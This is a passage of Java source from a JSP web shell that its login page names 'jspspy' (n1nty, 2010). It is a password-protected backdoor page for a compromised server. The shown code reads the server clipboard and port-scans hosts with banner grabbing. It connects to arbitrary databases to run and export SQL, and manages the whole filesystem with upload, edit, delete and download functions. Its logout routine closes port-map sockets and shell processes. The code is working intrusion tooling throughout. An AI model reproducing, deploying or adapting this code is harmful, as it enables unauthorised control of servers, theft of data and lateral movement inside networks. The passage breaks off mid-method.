  905. response.sendRedirect(SHELL_NAME);
  906. } catch (Exception e) {
  907.  
  908. throw e ;
  909. }
  910. }
  911. }
  912. private static class ClipBoardInvoker extends DefaultInvoker {
  913. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  914. try {
  915. PrintWriter out = response.getWriter();
  916. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  917. " <tr>"+
  918. " <td>"+
  919. " <h2>System Clipboard &raquo;</h2>"+
  920. "<p><pre>");
  921. try{
  922. out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
  923. }catch (Exception ex) {
  924. out.println("ClipBoard is Empty Or Is Not Text Data !");
  925. }
  926. out.println("</pre>"+
  927. " <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
  928. " </p>"+
  929. " </td>"+
  930. " </tr>"+
  931. "</table>");
  932. } catch (Exception e) {
  933.  
  934. throw e ;
  935. }
  936. }
  937. }
  938. private static class VPortScanInvoker extends DefaultInvoker {
  939. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  940. try {
  941. PrintWriter out = response.getWriter();
  942. String ip = request.getParameter("ip");
  943. String ports = request.getParameter("ports");
  944. String timeout = request.getParameter("timeout");
  945. String banner = request.getParameter("banner");
  946. if (Util.isEmpty(ip))
  947. ip = "127.0.0.1";
  948. if (Util.isEmpty(ports))
  949. ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
  950. if (Util.isEmpty(timeout))
  951. timeout = "2";
  952. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  953. "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"+
  954. "<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
  955. "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
  956. "IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
  957. "</p>"+
  958. "</form></div>"+
  959. "</td></tr></table>");
  960. } catch (Exception e) {
  961.  
  962. throw e ;
  963. }
  964. }
  965. }
  966. private static class PortScanInvoker extends DefaultInvoker {
  967. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  968. try {
  969. PrintWriter out = response.getWriter();
  970. ((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
  971. out.println("<hr/>");
  972. String ip = request.getParameter("ip");
  973. String ports = request.getParameter("ports");
  974. String timeout = request.getParameter("timeout");
  975. String banner = request.getParameter("banner");
  976. int iTimeout = 0;
  977. if (Util.isEmpty(ip) || Util.isEmpty(ports))
  978. return;
  979. if (!Util.isInteger(timeout)) {
  980. timeout = "2";
  981. }
  982. iTimeout = Integer.parseInt(timeout);
  983. Map rs = new LinkedHashMap();
  984. String[] portArr = ports.split(",");
  985. for (int i =0;i<portArr.length;i++) {
  986. String port = portArr[i];
  987. BufferedReader r = null;
  988. try {
  989. Socket s = new Socket();
  990. s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
  991. s.setSoTimeout(iTimeout);
  992. if (!Util.isEmpty(banner)) {
  993. r = new BufferedReader(new InputStreamReader(s.getInputStream()));
  994. StringBuffer sb = new StringBuffer();
  995. String b = r.readLine();
  996. while (b != null) {
  997. sb.append(b+" ");
  998. try {
  999. b = r.readLine();
  1000. } catch (Exception e) {
  1001. break;
  1002. }
  1003. }
  1004. rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
  1005. r.close();
  1006. } else {
  1007. rs.put(port,"Open");
  1008. }
  1009. s.close();
  1010. } catch (Exception e) {
  1011. if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
  1012. rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
  1013. if (r != null)
  1014. r.close();
  1015. } else {
  1016. rs.put(port,"Close");
  1017. }
  1018. }
  1019. }
  1020. out.println("<div style='margin:10px'>");
  1021. Set entrySet = rs.entrySet();
  1022. Iterator it = entrySet.iterator();
  1023. while (it.hasNext()) {
  1024. Map.Entry e = (Map.Entry)it.next();
  1025. String port = (String)e.getKey();
  1026. String value = (String)e.getValue();
  1027. out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
  1028. }
  1029. out.println("</div>");
  1030. } catch (Exception e) {
  1031.  
  1032. throw e ;
  1033. }
  1034. }
  1035. }
  1036. private static class VConnInvoker extends DefaultInvoker {
  1037. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1038. try {
  1039. PrintWriter out = response.getWriter();
  1040. Object obj = JSession.getAttribute(DBO);
  1041. if (obj == null || !((DBOperator)obj).isValid()) {
  1042. out.println(" <script type=\"text/javascript\">"+
  1043. " function changeurldriver(){"+
  1044. " var form = document.forms[\"form1\"];"+
  1045. " var v = form.elements[\"db\"].value;"+
  1046. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  1047. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  1048. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  1049. " }"+
  1050. " </script>");
  1051. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1052. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1053. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
  1054. "<h2>DataBase Manager &raquo;</h2>"+
  1055. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  1056. "<p>"+
  1057. "Driver:"+
  1058. " <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
  1059. "URL:"+
  1060. "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  1061. "UID:"+
  1062. "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  1063. "PWD:"+
  1064. "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  1065. "DataBase:"+
  1066. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  1067. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  1068. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  1069. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  1070. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
  1071. " <option value=' ` '>Other</option>"+
  1072. " </select>"+
  1073. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  1074. "</p>"+
  1075. "</form></table><script>changeurldriver()</script>");
  1076. } else {
  1077. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1078. }
  1079. } catch (ClassCastException e) {
  1080. throw e;
  1081. } catch (Exception e) {
  1082.  
  1083. throw e ;
  1084. }
  1085. }
  1086. }
  1087. //DBConnect
  1088. private static class DbcInvoker extends DefaultInvoker {
  1089. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1090. try {
  1091. PrintWriter out = response.getWriter();
  1092. String driver = request.getParameter("driver");
  1093. String url = request.getParameter("url");
  1094. String uid = request.getParameter("uid");
  1095. String pwd = request.getParameter("pwd");
  1096. String sql = request.getParameter("sql");
  1097. String selectDb = request.getParameter("selectDb");
  1098. if (selectDb == null)
  1099. selectDb = JSession.getAttribute("selectDb").toString();
  1100. else
  1101. JSession.setAttribute("selectDb",selectDb);
  1102. Object dbo = JSession.getAttribute(DBO);
  1103. if (dbo == null || !((DBOperator)dbo).isValid()) {
  1104. if (dbo != null)
  1105. ((DBOperator)dbo).close();
  1106. dbo = new DBOperator(driver,url,uid,pwd,true);
  1107. } else {
  1108. if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
  1109. DBOperator oldDbo = (DBOperator)dbo;
  1110. dbo = new DBOperator(driver,url,uid,pwd);
  1111. if (!oldDbo.equals(dbo)) {
  1112. ((DBOperator)oldDbo).close();
  1113. ((DBOperator)dbo).connect();
  1114. } else {
  1115. dbo = oldDbo;
  1116. }
  1117. }
  1118. }
  1119. DBOperator Ddbo = (DBOperator)dbo;
  1120. JSession.setAttribute(DBO,Ddbo);
  1121. if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
  1122. Ddbo.getConn().setCatalog(request.getParameter("catalog"));
  1123. }
  1124. Util.outMsg(out,"Connect To DataBase Success!");
  1125. out.println(" <script type=\"text/javascript\">"+
  1126. " function changeurldriver(selectDb){"+
  1127. " var form = document.forms[\"form1\"];"+
  1128. " if (selectDb){"+
  1129. " form.elements[\"db\"].selectedIndex = selectDb"+
  1130. " }"+
  1131. " var v = form.elements[\"db\"].value;"+
  1132. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  1133. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  1134. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  1135. " }"+
  1136. " </script>");
  1137. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1138. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1139. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
  1140. "<h2>DataBase Manager &raquo;</h2>"+
  1141. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  1142. "<p>"+
  1143. "Driver:"+
  1144. " <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
  1145. "URL:"+
  1146. "<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  1147. "UID:"+
  1148. "<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  1149. "PWD:"+
  1150. "<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  1151. "DataBase:"+
  1152. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  1153. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  1154. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  1155. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  1156. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
  1157. " <option value=' ` '>Other</option>"+
  1158. " </select>"+
  1159. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  1160. "</p>"+
  1161. "</form><script>changeurldriver('"+selectDb+"')</script>");
  1162. DatabaseMetaData meta = Ddbo.getConn().getMetaData();
  1163. out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
  1164. "<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
  1165. out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
  1166. out.println("<option value='0'>-- Select a DataBase --</option>");
  1167. ResultSet dbs = meta.getCatalogs();
  1168. try {
  1169. while (dbs.next()){
  1170. out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
  1171. }
  1172. }catch(Exception ex) {
  1173. }
  1174. dbs.close();
  1175. out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
  1176. if (Util.isEmpty(sql)) {
  1177. String type = request.getParameter("type");
  1178. if (Util.isEmpty(type) || type.equals("switch")) {
  1179. ResultSet tbs = meta.getTables(null,null,null,null);
  1180. out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
  1181. tbs.close();
  1182. } else if (type.equals("struct")) {
  1183. String tb = request.getParameter("table");
  1184. if (Util.isEmpty(tb))
  1185. return;
  1186. ResultSet t = meta.getColumns(null,null,tb,null);
  1187. out.println(Table.rs2Table(t,"",false));
  1188. t.close();
  1189. }
  1190. }
  1191. } catch (Exception e) {
  1192. JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
  1193. throw e;
  1194. }
  1195. }
  1196. }
  1197. private static class ExecuteSQLInvoker extends DefaultInvoker{
  1198. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1199. try {
  1200. PrintWriter out = response.getWriter();
  1201. String sql = request.getParameter("sql");
  1202. String db = request.getParameter("selectDb");
  1203. Object dbo = JSession.getAttribute(DBO);
  1204. if (!Util.isEmpty(sql)) {
  1205. if (dbo == null || !((DBOperator)dbo).isValid()) {
  1206. ((Invoker)ins.get("vConn")).invoke(request,response,JSession);
  1207. return;
  1208. } else {
  1209. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1210. Object obj = ((DBOperator)dbo).execute(sql);
  1211. if (obj instanceof ResultSet) {
  1212. ResultSet rs = (ResultSet)obj;
  1213. ResultSetMetaData meta = rs.getMetaData();
  1214. int colCount = meta.getColumnCount();
  1215. out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
  1216. out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  1217. for (int i=1;i<=colCount;i++) {
  1218. out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
  1219. }
  1220. out.println("</tr>");
  1221. Table tb = new Table();
  1222. while(rs.next()) {
  1223. Row r = new Row();
  1224. for (int i = 1;i<=colCount;i++) {
  1225. String v = null;
  1226. try {
  1227. v = rs.getString(i);
  1228. } catch (SQLException ex) {
  1229. v = "<<Error!>>";
  1230. }
  1231. r.addColumn(new Column(v));
  1232. }
  1233. tb.addRow(r);
  1234. }
  1235. out.println(tb.toString());
  1236. out.println("</table><br/>");
  1237. rs.close();
  1238. ((DBOperator)dbo).closeStmt();
  1239. } else {
  1240. out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
  1241. }
  1242. }
  1243. } else {
  1244. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1245. }
  1246. } catch (Exception e) {
  1247.  
  1248. throw e ;
  1249. }
  1250. }
  1251. }
  1252. private static class VLoginInvoker extends DefaultInvoker {
  1253. public boolean doBefore() {return false;}
  1254. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1255. try {
  1256. PrintWriter out = response.getWriter();
  1257. out.println("<html><head><title>jspspy</title><style type=\"text/css\">"+
  1258. " input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
  1259. "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
  1260. " </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
  1261. "<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
  1262. " <p><span style=\"font:11px Verdana;\">Password: </span>"+
  1263. " <input name=\"o\" type=\"hidden\" value=\"login\">"+
  1264. " <input name=\"pw\" type=\"password\" size=\"20\">"+
  1265. " <input type=\"hidden\" name=\"o\" value=\"login\">"+
  1266. " <input type=\"submit\" value=\"Login\"><br/>"+
  1267. "<!--<span style=\"font:11px Verdana;\">Copyright &copy; 2010 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a>--></p>"+
  1268. " </form><span style='font-weight:bold;color:red;font-size:12px'>CY... I Love You. I Do! by n1nty 2010/8/18</span></body></html>");
  1269. } catch (Exception e) {
  1270.  
  1271. throw e ;
  1272. }
  1273. }
  1274. }
  1275. private static class LoginInvoker extends DefaultInvoker{
  1276. public boolean doBefore() {return false;}
  1277. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1278. try {
  1279. String inputPw = request.getParameter("pw");
  1280. if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
  1281. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1282. return;
  1283. } else {
  1284. JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
  1285. response.sendRedirect(SHELL_NAME);
  1286. return;
  1287. }
  1288. } catch (Exception e) {
  1289.  
  1290. throw e ;
  1291. }
  1292. }
  1293. }
  1294. private static class MyComparator implements Comparator{
  1295. public int compare(Object obj1,Object obj2) {
  1296. try {
  1297. if (obj1 != null && obj2 != null) {
  1298. File f1 = (File)obj1;
  1299. File f2 = (File)obj2;
  1300. if (f1.isDirectory()) {
  1301. if (f2.isDirectory()) {
  1302. return f1.getName().compareTo(f2.getName());
  1303. } else {
  1304. return -1;
  1305. }
  1306. } else {
  1307. if (f2.isDirectory()) {
  1308. return 1;
  1309. } else {
  1310. return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
  1311. }
  1312. }
  1313. }
  1314. return 0;
  1315. } catch (Exception e) {
  1316. return 0;
  1317. }
  1318. }
  1319. }
  1320. private static class FileListInvoker extends DefaultInvoker {
  1321. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  1322. try {
  1323. String path2View = null;
  1324. PrintWriter out = response.getWriter();
  1325. String path = request.getParameter("folder");
  1326. String outEntry = request.getParameter("outentry");
  1327. if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
  1328. JSession.removeAttribute(ENTER);
  1329. JSession.removeAttribute(ENTER_MSG);
  1330. JSession.removeAttribute(ENTER_CURRENT_DIR);
  1331. }
  1332. Object enter = JSession.getAttribute(ENTER);
  1333. File file = null;
  1334. if (!Util.isEmpty(enter)) {
  1335. if (Util.isEmpty(path)) {
  1336. if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
  1337. path = "/";
  1338. else
  1339. path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
  1340. }
  1341. file = new EnterFile(path);
  1342. ((EnterFile)file).setZf((String)enter);
  1343. JSession.setAttribute(ENTER_CURRENT_DIR,path);
  1344. } else {
  1345. if (Util.isEmpty(path))
  1346. path = JSession.getAttribute(CURRENT_DIR).toString();
  1347. JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
  1348. file = new File(path);
  1349. }
  1350. path2View = Util.convertPath(path);
  1351. if (!file.exists()) {
  1352. throw new Exception(path+"Dont Exists !");
  1353. }
  1354. File[] list = file.listFiles();
  1355. Arrays.sort(list,new MyComparator());
  1356. out.println("<div style='margin:10px'>");
  1357. String cr = null;
  1358. try {
  1359. cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
  1360. }catch(Exception e) {
  1361. cr = "/";
  1362. }
  1363. File currentRoot = new File(cr);
  1364. out.println("<h2>File Manager - Current disk &quot;"+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"&quot; total (unknow)</h2>");
  1365. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  1366. "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  1367. " <tr>"+
  1368. " <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
  1369. " <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
  1370. " <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
  1371. " </tr>"+
  1372. "</table>"+
  1373. "</form>");
  1374. out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
  1375. "<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
  1376. "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
  1377. "<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
  1378. " | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
  1379. " | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
  1380. " | ");
  1381. File[] roots = file.listRoots();
  1382. for (int i = 0;i<roots.length;i++) {
  1383. File r = roots[i];
  1384. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
  1385. if (i != roots.length -1) {
  1386. out.println("|");
  1387. }
  1388. }
  1389. out.println("</td>"+
  1390. "</tr></form>"+
  1391. "<tr class=\"head\"><td>&nbsp;</td>"+
  1392. " <td>Name</td>"+
  1393. " <td width=\"16%\">Last Modified</td>"+
  1394. " <td width=\"10%\">Size</td>"+
  1395. " <td width=\"20%\">Read/Write/Execute</td>"+
  1396. " <td width=\"22%\">&nbsp;</td>"+
  1397. "</tr>");
  1398. if (file.getParent() != null) {
  1399. out.println("<tr class=alt1>"+
  1400. "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
  1401. "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
  1402. "</tr>");
  1403. }
  1404. int dircount = 0;
  1405. int filecount = 0;
  1406. for (int i = 0;i<list.length;i++) {
  1407. File f = list[i];
  1408. if (f.isDirectory()) {
  1409. dircount ++;
  1410. out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
  1411. "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
  1412. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
  1413. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1414. "<td nowrap>--</td>"+
  1415. "<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
  1416. "<td nowrap>");
  1417. if (enter != null)
  1418. out.println("&nbsp;");
  1419. else
  1420. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
  1421. out.println("</td></tr>");
  1422. } else {
  1423. filecount++;
  1424. out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
  1425. "<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
  1426. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
  1427. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1428. "<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
  1429. "<td nowrap>"+
  1430. ""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
  1431. "<td nowrap>"+
  1432. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
  1433. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
  1434. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
  1435. if (enter == null ) {
  1436. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
  1437. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
  1438. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
  1439. if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
  1440. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
  1441. } else if (f.getName().endsWith(".rar")) {
  1442. out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
  1443. } else {
  1444. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
  1445. }
  1446. }
  1447. out.println("</td></tr>");
  1448. }
  1449. }
  1450. out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"+
  1451. " <td>");
  1452. if (enter != null)
  1453. out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
  1454. else
  1455. out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
  1456. out.println("</td>"+
  1457. " <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
  1458. "</table>");
  1459. out.println("</div>");
  1460. if (file instanceof EnterFile)
  1461. ((EnterFile)file).close();
  1462. } catch (ZipException e) {
  1463. JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
  1464. throw e;
  1465. } catch (Exception e) {
  1466. JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
  1467. throw e;
  1468. }
  1469. }
  1470. }
  1471. private static class LogoutInvoker extends DefaultInvoker {
  1472. public boolean doBefore() {return false;}
  1473. public boolean doAfter() {return false;}
  1474. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1475. try {
  1476. Object dbo = JSession.getAttribute(DBO);
  1477. if (dbo != null)
  1478. ((DBOperator)dbo).close();
  1479. Object obj = JSession.getAttribute(PORT_MAP);
  1480. if (obj != null) {
  1481. ServerSocket s = (ServerSocket)obj;
  1482. s.close();
  1483. }
  1484. Object online = JSession.getAttribute(SHELL_ONLINE);
  1485. if (online != null)
  1486. ((OnLineProcess)online).stop();
  1487. JSession.invalidate();
  1488. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1489. } catch (ClassCastException e) {
